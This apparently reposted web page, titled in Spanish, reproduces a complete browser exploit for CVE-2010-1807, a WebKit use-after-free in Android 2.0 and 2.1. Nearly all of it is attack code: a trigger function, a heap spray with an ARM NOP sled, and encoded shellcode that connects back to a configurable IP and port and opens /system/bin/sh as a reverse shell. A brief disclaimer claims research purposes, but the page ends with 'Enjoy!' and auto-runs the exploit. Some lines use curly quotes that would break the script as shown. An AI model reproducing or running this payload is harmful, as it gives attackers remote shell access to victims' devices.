Exploit contra webkit en Android 2.0 y 2.1
<html> <head> <script> //This code is only for security researches/teaching purposes,use at your own risk!// bug = webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807 //patched= android 2.2, some said it works on some devices with 2.2. //originally noticed/written by mj(good job man!) //new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1 var port = unescape("\u3930"); //port 12345 (hex(0x3039)) //var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2
function trigger() { var span = document.createElement(“div”); document.getElementById(“BodyID”).appendChild(span); span.innerHTML = -parseFloat(“NAN(ffffe00572c60)”); //trigger use-after-free } function exploit() { var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping do { nop+=nop; } while (nop.length<=0x1000); var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002"); scode += port; scode += ip; scode += unescape("\u2000\u2000"); target = new Array(); for(i = 0; i < 0x1000; i++) target[i] = scode; for (i = 0; i <= 0x1000; i++) { document.write(target[i]+"<i>"); if (i>0x999) { trigger(); } } }
</script> </head> <body id=“BodyID”> Enjoy! <script> exploit(); </script> </body> </html>
